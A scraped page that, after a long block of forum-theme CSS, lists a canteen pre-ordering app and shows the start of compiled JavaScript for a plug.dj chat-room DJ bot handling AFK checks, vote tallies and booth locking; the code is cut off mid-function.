.button{color:#444!important}#quick_reply #textarea_content{width:70%!important}#sce_smilies_body,#sceditor_smilies,#smiley-box,#smiley-box iframe,.sceditor-emoticon iframe,.smile-status-box,.smile-status-box iframe{background:none!important}#login_popup{background:#FFF;background-color:#e5f1f9;border:1px solid #DDD;border-radius:10px;box-shadow:1px 1px 40px #000;font-size:11px;overflow:hidden;padding-bottom:40px}#login_popup .h3{background:#39C;border:none;color:#FFF;margin:-6px -7px 10px;padding:6px 3px;text-align:center}#login_popup_buttons{left:6px}#login_popup_buttons .button2{float:right}#fa_popup_overlay{background-color:#333;bottom:0;left:0;opacity:.8;position:fixed;right:0;top:0}#fa_popup{background:#222;border-radius:3px;bottom:30px;box-shadow:0 3px 10px rgba(34,25,25,0.4);font-family:Verdana, Arial, Helvetica, sans-serif;font-size:10px;left:12%;overflow:hidden;padding:3px;position:fixed;right:12%;top:50px;width:auto}#fa_popup_content{border:1px solid #333;border-radius:3px;height:90%;overflow:auto;padding:3px}.fa_popup_title{border-bottom:1px solid #999;color:#999;font-family:"Trebuchet MS", Arial, Verdana, Sans-serif;font-size:12px;font-weight:700;margin:8px 0;padding-bottom:2px}a.fa_popup_button,input.fa_popup_button{background-color:#17A;border:none;border-bottom:2px solid #058;border-radius:3px;color:#FFF!important;cursor:pointer;display:inline-block;font-size:12px;font-weight:700;line-height:20px;padding:0 6px;text-decoration:none!important;text-indent:0;transition:300ms}input.fa_popup_close{background-color:#C31;border-color:#A10;min-width:25px;position:absolute;right:2px;top:2px}a.fa_popup_button:hover,input.fa_popup_button:hover{background-color:#666;border-color:#444}a.fa_popup_button:active,a.fa_popup_button:focus,input.fa_popup_button:focus{background-color:#C93;border-color:#A91;outline:none}.fa_popup_error{background:#966;border:1px solid #855;border-bottom-width:2px;border-radius:3px;color:#300;font-size:12px;margin:6px;padding:9px 6px}.fa_popup_friends{background:#444;border:1px solid #333;border-bottom-width:2px;border-radius:3px;display:inline-block;float:none;margin:3px;overflow:hidden;padding:3px}#fa_popup .add_success{color:#8B5}#fa_popup .deny_success{color:#E53}#fa_popup .add_failed{color:#EB5}.fa_popup_loading{color:#999;font-size:14px;font-weight:700;padding:25px;text-align:center}.fa_popup_more{clear:both;margin:3px;text-align:center}#fa_popup_content > td{display:block}#fa_popup.pun tbody.statused span.status{position:static}.fa-rols{margin-top:-30px!important}#fa_ticker_block{padding-top:12px;position:relative}#fa_ticker_block:before{left:10px;position:absolute;top:0}#fa_ticker_block .module{background:#369FCF;border:none;border-radius:0;box-shadow:none;color:#FFF;font-size:11px;margin:10px 0;padding:6px 0;position:relative}#fa_ticker_block .module a{color:#fff;text-decoration:none!important}#fa_ticker_block .module a:hover{color:#fff}.post.st-answer .inner{border-color:rgba(51,153,204,0.75)}.post.st-answer.admin .inner{border-color:#EF3333}.post.st-answer.modo .inner{border-color:#68b800}.post.st-answer.aida .inner{border-color:#F5AE42}.post.st-answer.crea .inner{border-color:#787DEA}.post.st-answer.revi .inner{border-color:#009FB9}.post.st-answer.dev .inner{border-color:#2E3133}.post.st-answer.topicit .inner{border-color:#289cdb}span.st-rang.topicit{background:#289cdb;border-radius:3px;color:#fff;cursor:pointer;font-weight:700;padding:5px}span.st-rang.topicit:hover{background:#2e3133}.post-table{background:#EEE;border:1px solid #CCC;border-spacing:0;color:#333;width:100%}.post-table td{border-bottom:1px solid #CCC;border-right:1px solid #CCC;padding:3px 6px}#fa_notice{background:#FFF url(https://i.servimg.com/u/f18/18/21/41/30/bull-f10.png) no-repeat 10px 50%;border:1px solid #39C;border-radius:3px;color:#333;font-family:Verdana, Helvetica, Sans-serif;font-size:13px;margin:12px 0;padding:25px 6px 25px 70px}#fa_notice.noti_warn{background-color:#FEE;background-image:url(https://i.servimg.com/u/f18/18/21/41/30/warn-f10.png);border-color:#C99;color:#933}#cp-main .panel.sig::before,#cp-main .panel.sig:before{background:#F5F5F5;border:1px solid #DDD;border-bottom-width:2px;border-radius:3px;color:#E53;content:'Atenção: A sua alteração será salva, no entanto, apenas os membros da equipe podem exibir a suas assinaturas neste fórum.';display:block;font-weight:700;margin:6px 0;padding:6px;text-align:center}#fa_popup_content #main-content .topic-actions,#fa_popup_content .pag-img,#fa_popup_content .post .vote,#fa_popup_content .right,#fa_popup_content .right-box,#fa_popup_content form[action="/memberlist"]{display:none}li.thumb-msg span.thumb-up{background-color:#73BC4E!important;border-radius:24px;box-sizing:border-box;color:#DAEDD1;display:inline-block!important;font-size:1.4em;font-weight:700;height:29px;padding:6px 9px}li.thumb-msg span a{color:#FFF}div.sceditor-dropdown.sceditor-presets{padding:0;width:175px}.sceditor-presets .group{border-bottom:1px solid #CCC;height:150px;overflow-y:auto}.sceditor-presets a.toggler{border-bottom:1px solid #CCC;font-size:11px;font-weight:700}.sceditor-presets i{font-size:14px;margin-right:5px;text-align:center;width:20px}.sceditor-presets img{margin-right:5px;vertical-align:middle;width:15px}.sceditor-container textarea{font-family:Verdana,Arial,Helvetica,sans-serif,FontAwesome!important}.sceditor-button-fontawesome div{background:url(https://i.servimg.com/u/f19/19/06/98/92/fa-f10.png)!important}.sceditor-fontawesome{height:250px;overflow-y:auto;width:220px}.sceditor-fontawesome i{color:#333;cursor:pointer;font-size:20px;padding:3px 0;text-align:center;width:25%}.sceditor-fontawesome i:hover{color:#666}.post-button a{-webkit-transition:.3s;background-color:#39C;border:1px solid #39C;border-radius:3px;color:#FFF;display:inline-block;font-weight:700;padding:6px 12px;text-decoration:none;transition:.3s}.post-button.red a{background-color:#E53;border-color:#E53}.post-button.green a{background-color:#8C5;border-color:#8C5}.post-button.yellow a{background-color:#EB3;border-color:#EB3}.post-button a:hover{background-color:#28B}.post-button.red a:hover{background-color:#D42}.post-button.green a:hover{background-color:#7B4}.post-button.yellow a:hover{background-color:#DA2}.post-button a:active,.post-button a:focus{background-color:#333!important;border-color:#222!important}.post-button i{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:inline-block;font-family:FontAwesome;font-size:inherit;font-style:normal;font-variant:normal;font-weight:400;line-height:1;text-rendering:auto;transform:translate(0,0)}.content,body{font-family:Verdana,Arial,Helvetica,sans-serif}.creationForm{background:#EEE;border:1px solid #CCC;border-radius:3px;box-shadow:0 6px 12px rgba(0,0,0,.176);color:#444;padding:6px;position:absolute;z-index:100}#fa_widget_toggle,.creationForm a{border-radius:3px;font-weight:700;text-align:center}.creationForm a{background:#369FCF;color:#FFF;margin:3px 0;padding:3px;text-transform:uppercase;width:auto!important}.creationForm a:hover{background:#2A87B2}.rang-1{color:#39C}.rang-2{color:#333}.rang-2::before,.rang-2:before{color:#39C;content:"m";overflow:hidden;position:absolute;width:6px}.rang-3{color:#BBB}a.markSolved,a.markSolved:active,a.markSolved:focus{background-color:#8C5;border-color:#8C5;padding:5px 12px!important}a.markSolved:hover{background-color:#7B4;border-color:#6A3}a.markSolved.marked{opacity:.5}a.markSolved i{font-size:13px}.codebox dt .code-a{color:#FFF;float:right;text-decoration:underline;text-transform:none}.codebox dt .code-a:hover{text-decoration:none}#fa_widget_toggle{background:#39C;border-bottom:2px solid #17A;color:#FFF;display:inline-block;font-size:12px;margin-top:20px;padding:0 6px;transition:.3s}#fa_widget_toggle:hover{background-color:#333;border-color:#111}#fa_widget_toggle:active,#fa_widget_toggle:focus{background-color:#8B5;border-color:#693}ul table.tag{background-color:#d8ecf5;border-radius:4px;color:#2d8cbb!important;font-weight:600;padding:4px 5px}*{margin:0;padding:0}.post ul{list-style-type:disc}ul{list-style-type:none}.postbody .content{font-size:1.3em}.content{color:#555;font-size:1em;line-height:1.4em}.postbody{color:#555;line-height:1.48em}html{font-size:100%}.post table code{word-break:break-all}.module.mod_news .content table + br{display:none}.newStaffList,.staff-list{border-spacing:0}.portal{width:98%!important}#forum_rules td{line-height:23px;padding:10px}#forum_rules td.logo{width:50px}#forum_rules .logo img{padding-top:6px}#forum_rules .rules.content img{vertical-align:middle}.topiclist.topics dl.topic-unico{background-color:#ece0f1}.topiclist.topics dl.topic-solved{background-color:rgba(139,195,74,.33)}#superbottom div.module{float:right;margin-top:0;width:210px}#cp-main #memberlist tr td.posts:first-child,#cp-main form[action="/search?search_id=favouritesearch"] tr td.posts:first-child{width:40px}#cp-main #memberlist tr td.posts:first-child img,#cp-main form[action="/search?search_id=favouritesearch"] tr td.posts:first-child img{height:37px;width:40px}.staff-list .staff-rank img{float:right}.staff-description{background-color:#EF3333;color:#fff;font-family:sans-serif;padding:5px 10px}.staff-description.mod{background-color:#7BB92B}.staff-description.ajuda{background-color:#F5AE42}.staff-description.art{background-color:#787DEA}.staff-description.pub{background-color:#00B5D1}.newStaffList{border:1px solid #EEE;font-weight:700;table-layout:fixed;text-align:center;width:100%}.newStaffList.admin,.newStaffList.admin a{color:#EF3333}.newStaffList.mod,.newStaffList.mod a{color:#7BB92B}.newStaffList.ajuda,.newStaffList.ajuda a{color:#F5AE42}.newStaffList.art,.newStaffList.art a{color:#787DEA}.newStaffList.pub,.newStaffList.pub a{color:#00B5D1}.newStaffList tr td{background-color:#F7F7F7;padding-top:5px}.newStaffList tr td:nth-child(2n+2){background-color:#F2F2F2}.newStaffList tr:not(.newStaffListPM) img{border:3px solid #fff;border-radius:50%;box-shadow:0 1px 3px rgba(0,0,0,.3),0 0 1px rgba(0,0,0,.3);display:block;height:50px;margin:auto auto 10px;object-fit:cover;width:50px}.newStaffListPM td{color:#555;cursor:default;font-family:FontAwesome;font-size:16px;font-weight:400;padding-bottom:5px;padding-top:5px;vertical-align:top}.btn-buttom,.fb_iframe_widget,.sceditor-presets img,a#fa_welcome img,div.foruns p a img,table.listTutorial tr{vertical-align:middle}.newStaffListPM td a{color:#555!important}.newStaffListPM td::after{background-color:#FAFAFA;border-radius:50%;font-size:12px;left:8px;margin-left:-12px;position:relative;top:-5px}.newStaffListPM td.PMOff::after{color:#E54732;content:'\f057'}.newStaffListPM td.PMOn::after{color:#60a53a;content:'\f058'}.none{display:none!important}.btn-buttom td,.btn-buttom td a{color:#fff!important}.btn-buttom{-moz-user-select:none;-ms-user-select:none;-webkit-user-select:none;background-color:#337ab7;background-image:none;border:1px solid #2e6da4;border-radius:4px;color:#fff;cursor:pointer;font-size:14px;font-weight:400;line-height:1.42857143;margin-bottom:0;padding:6px 12px;text-align:center;touch-action:manipulation;user-select:none;white-space:nowrap}.btn-buttom:hover{background-color:#2E3133;border-color:#adadad;color:#333}.pedido_alertado,.pedido_finalizado,.pedido_rejeitado{background-color:#ffe0fc;background-position:10px 50%;background-repeat:no-repeat;border:2px solid #c6c;border-radius:3px;margin:10px 0;padding:35px 20px 35px 120px}.pedido_finalizado{background-image:url(https://i.imgur.com/bSiBjKM.png)}.pedido_rejeitado{background-image:url(https://i.imgur.com/Ao6iGOK.png)}.pedido_alertado{background-image:url(https://i.imgur.com/akNRrPf.png)}#profile-advanced-right img:first-child{max-height:200px;max-width:150px}a#fa_welcome img{margin:0 5px 0 0 !important;top:0!important}table.listTutorial:hover{-webkit-transition:all .1s ease-in-out;font-size:17px;transition:all .1s ease-in-out}table.listTutorial tr{padding-top:10px}table.listTutorial td.exp{-webkit-transition:all .1s ease-in-out;border-right:2px solid #659b15;padding:3px;transition:all .1s ease-in-out;vertical-align:middle}table.listTutorial td.exp:hover{-webkit-transition:all .1s ease-in-out;background:rgba(255,87,34,.08);border-right:5px solid #FF5722;transition:all .1s ease-in-out}table.listTutorial td.ico{padding-right:3px}table.listTutorial td.ico:hover{-webkit-transition:all .1s ease-in-out;color:#39c;transition:all .1s ease-in-out}form[name=form_login] .social_btn{display:inline-block;text-align:left}.fb_or{display:inline-block}form#forum-search input#search_keywords+input.button2{border-bottom:none!important;border-radius:0 3px 3px 0!important;height:30px}table.table1 tr>td[bgColor]:first-child{background-color:#39c;color:#fff}table.table1 tr>td[bgColor]:first-child *{color:#fff}.fa-social-network .fa-eye-slash{color:#ef3333;left:4px;position:relative;top:-20px}.navigation{background:#39c;border:1px solid #DDD;border-radius:3px}div#fa_language_list div.title,div.navigation div.title{color:#fff;font-size:12px;font-weight:700;margin-bottom:3px;margin-top:10px;padding-bottom:2px;text-transform:uppercase}.mainmenu,.submenu{list-style:none;margin:0;padding:0}.mainmenu a{background-color:#fafafa;cursor:pointer;display:block;padding:10px;text-decoration:none}div.foruns,p.foruns_button_close{padding:5px}.mainmenu a:hover{background-color:#39c;color:#fff}.mainmenu li:hover .submenu{display:block;max-height:200px}.submenu a{background-color:#f0f6f8;border-bottom:1px solid #fafafa;box-shadow:5px 13px 25px 0 #000}.submenu a:hover{background-color:#666}.submenu{-webkit-transition:all .5s ease-out;max-height:0;overflow:hidden}div.foruns{background:#fafafa;border-radius:4px;margin-bottom:10px;margin-left:10px;margin-right:10px}p.foruns_button_close a{background:#fff;border-radius:3px;padding:5px}dl#field_id10 span img{display:none!important}a[href^="/u63853"]{color:#289cdb!important;font-weight:700!important}#moderator-tools .generate,#moderator-tools h2{color:#fff;text-shadow:rgba(0,0,0,.3) 1px 1px 1px}#moderator-tools *,#moderator-tools :after,#moderator-tools :before{-moz-box-sizing:border-box;-webkit-box-sizing:border-box;border:none;box-sizing:border-box;margin:0;outline:0;padding:0}#moderator-tools{background:#EFF9FC;border-radius:5px;box-shadow:#a2cf65 0 0 1px;font-family:'Lucida sans',sans-serif;font-size:14px;font-style:normal;font-variant:normal;font-weight:400;overflow:hidden}#moderator-tools h2{background:#1f7cbf;border-bottom:#a2cf65 5px solid;font-size:15px;margin:0;padding:.5em}#moderator-tools :disabled{cursor:not-allowed;opacity:.4}#moderator-tools input,#moderator-tools select{background:#fff;border:1px solid #add8e6;border-radius:3px;display:block;padding:3px 5px;width:100%}#moderator-tools .tools-group:not(.tools-header){padding:3px 5px 0}#moderator-tools .generate{background:#a2cf65;border:none;border-radius:2px;box-shadow:inset 0 -3px 0 rgba(0,0,0,.3);cursor:pointer;display:inline-block;font-size:13px;margin:.2em 0;outline:0;padding:.3em 1em .4em;position:relative;text-align:center}#moderator-tools .generate:active{box-shadow:inset 0 -1px 0 rgba(0,0,0,.3);top:2px}.sceditor-button-modcolor div{background-image:url(https://i.servimg.com/u/f56/18/45/41/65/mcolo10.png)!important}.sceditor-button-presets div{background-image:url(https://i.servimg.com/u/f39/18/21/41/30/tuto14.png)!important}#main-content > p:nth-child(1):first-child,#main-content > p:nth-child(1):first-child + p:nth-child(2),#main-content > p:nth-child(1):first-child + p:nth-child(2) + br{display:none}#content-container div#left{margin-top:3px}[id] .module .inner{padding:10px}[id] .module .inner .h3{background-color:#39C;border-bottom:solid 1px #ddd;box-sizing:border-box;color:#fff;font-family:"Trebuchet MS", Arial, sans-serif;font-size:13px;font-weight:700;line-height:1.4;margin:-10px -20px 10px;padding:7.5px 10px 6.5px;text-align:center;text-transform:uppercase}em.hovicon{border-radius:50%;cursor:default;display:inline-block;font-size:25px;height:60px;line-height:60px;margin:15px 15px 0;position:relative;text-align:center;text-decoration:none;width:60px;z-index:1}.hovicon.auto-width{height:auto;padding:15px;width:auto}.hovicon:after{border-radius:100px;box-sizing:content-box;content:'';height:100%;moz-box-sizing:content-box;pointer-events:none;position:absolute;webkit-box-sizing:content-box;width:100%}.hovicon:before{display:block;font-style:normal;font-variant:normal;font-weight:400;speak:none;text-transform:none;webkit-font-smoothing:antialiased}.hovicon.effect-3{box-shadow:0 0 0 4px #eee;transition:color .3s;webkit-box-shadow:0 0 0 4px #eee;webkit-transition:color .3s}.hovicon.effect-3:after{background:#369fcf;left:-2px;padding:2px;top:-2px;transition:transform .2s,opacity .3s;webkit-transition:-webkit-transform .2s,opacity .3s;z-index:-1}.hovicon.effect-3.sub-a{box-shadow:0 0 0 4px #fff!important;cursor:auto;webkit-box-shadow:0 0 0 4px #fff!important}.hovicon.effect-3.sub-a,.hovicon.effect-3.sub-a i{color:#fff}.hovicon.effect-3.sub-b,.hovicon.effect-3.sub-b i{color:#3c3940}.hovicon.effect-3.sub-a:hover,.hovicon.effect-3.sub-b:hover,.hovicon.effect-3.sub-b:hover i{color:#fff}.hovicon.effect-3.sub-a:after,.hovicon.effect-3.sub-b:after{ms-transform:scale(1.3);opacity:0;transform:scale(1.3);webkit-transform:scale(1.3)}.hovicon.effect-3.sub-a:hover:after,.hovicon.effect-3.sub-b:hover:after{ms-transform:scale(1);opacity:1;transform:scale(1);webkit-transform:scale(1)}table.devTable{background:url(https://illiweb.com/fa/modernbb/bg_header.svg) center center no-repeat #369fcf;background-size:cover;border-bottom:1px solid #2e3133;border-left:1px solid #2e3133;border-radius:2px;border-right:1px solid #2e3133;border-top:5px solid #2e3133;padding:10px;table-layout:fixed}table.devTable td.titulo h2{border:none!important;color:#fff;font-family:Arial;line-height:0;text-align:center}table.devTable .palign{background:rgba(0,0,0,.2);color:#fff;line-height:1.5rem;padding:15px}table.devTable .bodyClear{background-color:#fff;border-radius:3px;padding:10px}table.devTable .bodyClear h3{border-bottom:dashed 1px #E9553C!important}table.devTable td.footer{color:rgba(255,255,255,.22);line-height:50px}#form_move_mod{padding-top:5px}.sugestion_study,.topic_alert,.topic_solved,.topic_warn{background-position:10px 50%;background-repeat:no-repeat;border:2px solid;border-radius:3px;margin:10px 0;padding:35px 20px 35px 120px}.sugestion_study{background-color:#FFFAE0;background-image:url(https://i.servimg.com/u/f19/18/76/69/60/study10.png);border-color:#FFBD00}.topic_solved{background-color:#EDFFE0;background-image:url(https://i.servimg.com/u/f39/15/88/72/83/symbol10.png);border-color:#84C754}.topic_warn{background-color:#FFE6E2;background-image:url(https://i.servimg.com/u/f39/15/88/72/83/warnin10.png);border-color:#E9553C}.topic_alert{background-color:#FBFFB2;background-image:url(https://i.servimg.com/u/f39/15/88/72/83/delete11.png);border-color:#E9C63C}.tuto-ast-off,.tuto-jur,.tuto-jur-contain,.tuto-off{background-color:#f7f7f7;border-right:1px solid #ddd;border-spacing:0;margin-left:-10px;position:relative;width:100%}div.postbody .tuto-ast-off:first-child,div.postbody .tuto-jur,div.postbody .tuto-off:first-child{border-radius:0 10px 0 0;margin-top:20px}.tuto-ast-title,.tuto-jur-title,.tuto-title{background:url(https://i.imgur.com/d8gCGFF.png) 0 -4px no-repeat #39c;border-radius:0 10px 0 0;border-top:2px solid #17a;color:#fff;font-family:sans-serif;font-size:25px;font-weight:700;height:100px;padding-left:100px;text-shadow:1px 0 0 #17a}.tuto-jur-title{background-color:#e34839;border-top:2px solid #dd2e20;text-shadow:1px 0 0 #dd2e20}.tuto-ast-title{background-color:#89ba5b;border-top:2px solid #57983a;text-shadow:1px 0 0 #57983a}.tuto-contain,.tuto-jur-contain td{border-left:75px solid #eee;border-right:20px solid #eee;padding:10px 20px}.tuto-contain h2.post-content,.tuto-jur-contain td h2.post-content{background-color:#eee;border-bottom:1px solid #ddd!important;color:#333!important;counter-increment:chapter;counter-reset:subpart;font-family:sans-serif;font-size:1.5em;margin-bottom:15px;margin-left:-20px;margin-right:-20px;padding:10px}.tuto-contain h3.post-content,.tuto-jur-contain td h3.post-content{border-bottom:1px solid #333;color:#333;counter-increment:subpart;font-family:sans-serif;padding-bottom:5px;text-transform:unset}.tuto-contain h2.post-content::before,.tuto-jur-contain td h2.post-content::before{background-color:#333;border-radius:31px;box-sizing:border-box;color:#fff;content:counter(chapter,decimal);display:inline-block;height:33px;margin-left:-50px;margin-right:15px;text-align:center;width:33px}.tuto-contain h3.post-content:before,.tuto-jur-contain td h3.post-content::before{content:counter(chapter) "." counter(subpart) ". "}.tuto-contain.reset,.tuto-jur-contain.reset{counter-reset:chapter}.tuto-ast-footer,.tuto-footer{background-color:#333;border-radius:0 0 10px;color:#fff;font-family:sans-serif;font-size:.9em;margin-bottom:15px;margin-left:-10px;width:100%}.tuto-ast-copy,.tuto-copy{padding:10px 20px}.tuto-ast-copy::before,.tuto-copy::before{content:"\f129";float:right;font-family:FontAwesome;font-size:6em;margin-top:28px}.mod-action{background-color:#39c;border:2px solid #39c;border-radius:2px;color:#fff;display:block;margin:1em 25px 1em 1em;padding:15px}.mod-action tbody,.mod-action thead{display:block;width:100%}.mod-action tbody>tr{-ms-flex-align:center;-ms-flex-pack:justify;-webkit-box-align:center;-webkit-box-pack:justify;align-items:center;display:flex;justify-content:space-between;width:100%}.mod-action td{flex-grow:1}.mod-action tbody>tr>td.icon{flex-grow:initial;font-size:25px;margin-right:15px}.mod-action h2,.mod-action h3,.mod-action h4{color:inherit;font-size:1.2em;margin-bottom:.4em}.mod-action h2+br,.mod-action h3+br,.mod-action h4+br{display:none}.mod-action a{color:inherit;text-decoration:underline}.mod-action a:hover{color:#eee}.mod-action.adm,.mod-action.danger{background-color:#EF3333;border-color:#EF3333}.mod-action.mod,.mod-action.success{background-color:#68B800;border-color:#68B800}.mod-action.aju,.mod-action.warning{background-color:#F5AE42;border-color:#F5AE42}.mod-action.art{background-color:#787DEA;border-color:#787DEA}.mod-action.pub{background-color:#00B5D1;border-color:#00B5D1}.mod-action.dev{background-color:#444;border-color:#444}@media only screen and (min-width:1240px){#wrap{max-width:80%}}@media only screen and (min-width:1100px) and (max-width:1239px){#wrap{max-width:90%}}@media only screen and (min-width:901px) and (max-width:1200px){.cards .card{padding:20px 15px}.cards .fa{font-size:20px}}@media screen and (max-width:1224px){.main-left ul.fa-ul{display:none}.main-left ul.mini-screen{display:block}}@media screen and (min-width:1570px){.post.search .postbody img,.postbody .content img{max-width:700px}}@media screen and (max-width:1569px) and (min-width:1270px){.post.search .postbody img,.postbody .content img{max-width:500px}}@media screen and (max-width:1269px) and (min-width:1130px){.post.search .postbody img,.postbody .content img{max-width:400px}}@media screen and (max-width:1029px){.post.search .postbody img,.postbody .content img{max-width:350px}} .fade { display:inline-block; background: -moz-linear-gradient(left, rgb(235,234,221) 0%, rgba(235,234,221,0) 100%); background-image: -webkit-gradient(linear, left top, right top, color-stop(0.00, rgb(235,234,221)), color-stop(1.00, rgba(235,234,221,0))); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#ebeadd, endColorstr=#00ebeadd, GradientType=1); -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#ebeadd, endColorstr=#00ebeadd, GradientType=1)"; } .blur { display:inline-block; color:#ddd; text-shadow: 0 0 2px #aaaaaa; text-shadow: 0 0 4px #aaaaaa; text-shadow: 0 0 6px #aaaaaa; -ms-filter: "progid:DXImageTransform.Microsoft.Blur(pixelradius=2)"; filter: progid:DXImageTransform.Microsoft.MotionBlur(strength=1,direction=310) progid:DXImageTransform.Microsoft.Blur(pixelradius=2); } .flipH { display:inline-block; -moz-transform:scale(-1,1); -o-transform:scale(-1,1); -webkit-transform:scale(-1,1); transform:scale(-1,1); -ms-filter: "progid:DXImageTransform.Microsoft.Matrix(M11=-1, M12=0, M21=0, M22=1, SizingMethod='auto expand')"; filter: progid:DXImageTransform.Microsoft.Matrix( M11=-1, M12=0, M21=0, M22=1, SizingMethod="auto expand"); } .flipV { display:inline-block; -moz-transform:scale(1,-1); -o-transform:scale(1,-1); -webkit-transform:scale(1,-1); transform:scale(1,-1); -ms-filter: "progid:DXImageTransform.Microsoft.Matrix(M11=1, M12=0, M21=0, M22=-1, SizingMethod='auto expand')"; filter: progid:DXImageTransform.Microsoft.Matrix( M11=1, M12=0, M21=0, M22=-1, SizingMethod="auto expand"); }
ajaykumarn3000 / QuickBiteQuickBite offers a seamless dining solution for college canteens, enhancing the overall dining experience for students and staff. Our web application allows users to pre-order meals prior to breaks, ensuring availability, simplifying online payments, and promoting efficient crowd management.
li55a / TastybotTest// Generated by CoffeeScript 1.6.2 (function() { var Command, RoomHelper, User, addCommand, afkCheck, afksCommand, allAfksCommand, announceCurate, antispam, apiHooks, avgVoteRatioCommand, chatCommandDispatcher, chatUniversals, cmds, data, dieCommand, disconnectLookupCommand, fans, handleNewSong, handleUserJoin, handleUserLeave, handleVote, hook, initEnvironment, initHooks, initialize, lockCommand, lockskipCommand, msToStr, newSongsCommand, newsCommand, populateUserData, promoCommand, pupOnline, reloadCommand, removeCommand, roomHelpCommand, rulesCommand, settings, skipCommand, staffCommand, statusCommand, themeCommand, undoHooks, unhook, unlockCommand, updateVotes, versionCommand, voteRatioCommand, _ref, _ref1, _ref10, _ref11, _ref12, _ref13, _ref14, _ref15, _ref16, _ref17, _ref18, _ref19, _ref2, _ref20, _ref21, _ref3, _ref4, _ref5, _ref6, _ref7, _ref8, _ref9, __bind = function(fn, me){ return function(){ return fn.apply(me, arguments); }; }, __indexOf = [].indexOf || function(item) { for (var i = 0, l = this.length; i < l; i++) { if (i in this && this[i] === item) return i; } return -1; }, __hasProp = {}.hasOwnProperty, __extends = function(child, parent) { for (var key in parent) { if (__hasProp.call(parent, key)) child[key] = parent[key]; } function ctor() { this.constructor = child; } ctor.prototype = parent.prototype; child.prototype = new ctor(); child.__super__ = parent.prototype; return child; }; settings = (function() { function settings() { this.implode = __bind(this.implode, this); this.intervalMessages = __bind(this.intervalMessages, this); this.startAfkInterval = __bind(this.startAfkInterval, this); this.setInternalWaitlist = __bind(this.setInternalWaitlist, this); this.userJoin = __bind(this.userJoin, this); this.getRoomUrlPath = __bind(this.getRoomUrlPath, this); this.startup = __bind(this.startup, this); } settings.prototype.currentsong = {}; settings.prototype.users = {}; settings.prototype.djs = []; settings.prototype.mods = []; settings.prototype.host = []; settings.prototype.hasWarned = false; settings.prototype.currentwoots = 0; settings.prototype.currentmehs = 0; settings.prototype.currentcurates = 0; settings.prototype.roomUrlPath = null; settings.prototype.internalWaitlist = []; settings.prototype.userDisconnectLog = []; settings.prototype.voteLog = {}; settings.prototype.seshOn = false; settings.prototype.forceSkip = false; settings.prototype.seshMembers = []; settings.prototype.launchTime = null; settings.prototype.totalVotingData = { woots: 0, mehs: 0, curates: 0 }; settings.prototype.pupScriptUrl = 'https://dl.dropbox.com/u/21023321/TastycatBot.js'; settings.prototype.afkTime = 60 * 60 * 1000; settings.prototype.songIntervalMessages = [ { interval: 7, offset: 0, msg: "All praise our lord and savior @Raptor Jeebus" }, { interval: 5, offset: 0, msg: "Stay active in chat while in line. We remove AFK DJ's at the booth!" } ]; settings.prototype.songCount = 0; settings.prototype.startup = function() { this.launchTime = new Date(); return this.roomUrlPath = this.getRoomUrlPath(); }; settings.prototype.getRoomUrlPath = function() { return window.location.pathname.replace(/\//g, ''); }; settings.prototype.newSong = function() { this.totalVotingData.woots += this.currentwoots; this.totalVotingData.mehs += this.currentmehs; this.totalVotingData.curates += this.currentcurates; this.setInternalWaitlist(); this.currentsong = API.getMedia(); if (this.currentsong !== null) { return this.currentsong; } else { return false; } }; settings.prototype.userJoin = function(u) { var userIds, _ref; userIds = Object.keys(this.users); if (_ref = u.id, __indexOf.call(userIds, _ref) >= 0) { return this.users[u.id].inRoom(true); } else { this.users[u.id] = new User(u); return this.voteLog[u.id] = {}; } }; settings.prototype.setInternalWaitlist = function() { var boothWaitlist, fullWaitList, lineWaitList; boothWaitlist = API.getDJs().slice(1); lineWaitList = API.getWaitList(); fullWaitList = boothWaitlist.concat(lineWaitList); return this.internalWaitlist = fullWaitList; }; settings.prototype.activity = function(obj) { if (obj.type === 'message') { return this.users[obj.fromID].updateActivity(); } }; settings.prototype.startAfkInterval = function() { return this.afkInterval = setInterval(afkCheck, 2000); }; settings.prototype.intervalMessages = function() { var msg, _i, _len, _ref, _results; this.songCount++; _ref = this.songIntervalMessages; _results = []; for (_i = 0, _len = _ref.length; _i < _len; _i++) { msg = _ref[_i]; if (((this.songCount + msg['offset']) % msg['interval']) === 0) { _results.push(API.sendChat(msg['msg'])); } else { _results.push(void 0); } } return _results; }; settings.prototype.implode = function() { var item, val; for (item in this) { val = this[item]; if (typeof this[item] === 'object') { delete this[item]; } } return clearInterval(this.afkInterval); }; settings.prototype.lockBooth = function(callback) { if (callback == null) { callback = null; } return $.ajax({ url: "http://plug.dj/_/gateway/room.update_options", type: 'POST', data: JSON.stringify({ service: "room.update_options", body: [ this.roomUrlPath, { "boothLocked": true, "waitListEnabled": true, "maxPlays": 1, "maxDJs": 5 } ] }), async: this.async, dataType: 'json', contentType: 'application/json' }).done(function() { if (callback != null) { return callback(); } }); }; settings.prototype.unlockBooth = function(callback) { if (callback == null) { callback = null; } return $.ajax({ url: "http://plug.dj/_/gateway/room.update_options", type: 'POST', data: JSON.stringify({ service: "room.update_options", body: [ this.roomUrlPath, { "boothLocked": false, "waitListEnabled": true, "maxPlays": 1, "maxDJs": 5 } ] }), async: this.async, dataType: 'json', contentType: 'application/json' }).done(function() { if (callback != null) { return callback(); } }); }; return settings; })(); data = new settings(); User = (function() { User.prototype.afkWarningCount = 0; User.prototype.lastWarning = null; User.prototype["protected"] = false; User.prototype.isInRoom = true; function User(user) { this.user = user; this.updateVote = __bind(this.updateVote, this); this.inRoom = __bind(this.inRoom, this); this.notDj = __bind(this.notDj, this); this.warn = __bind(this.warn, this); this.getIsDj = __bind(this.getIsDj, this); this.getWarningCount = __bind(this.getWarningCount, this); this.getUser = __bind(this.getUser, this); this.getLastWarning = __bind(this.getLastWarning, this); this.getLastActivity = __bind(this.getLastActivity, this); this.getLastDrinkTime = __bind(this.getLastDrinkTime, this); this.updateDrinkTime = __bind(this.updateDrinkTime, this); this.updateActivity = __bind(this.updateActivity, this); this.init = __bind(this.init, this); this.init(); } User.prototype.init = function() { this.lastActivity = new Date(); return this.drinkTime = new Date(); }; User.prototype.updateActivity = function() { this.lastActivity = new Date(); this.afkWarningCount = 0; return this.lastWarning = null; }; User.prototype.updateDrinkTime = function() { return this.drinkTime = new Date(); }; User.prototype.getLastDrinkTime = function() { return this.drinkTime; }; User.prototype.getLastActivity = function() { return this.lastActivity; }; User.prototype.getLastWarning = function() { if (this.lastWarning === null) { return false; } else { return this.lastWarning; } }; User.prototype.getUser = function() { return this.user; }; User.prototype.getWarningCount = function() { return 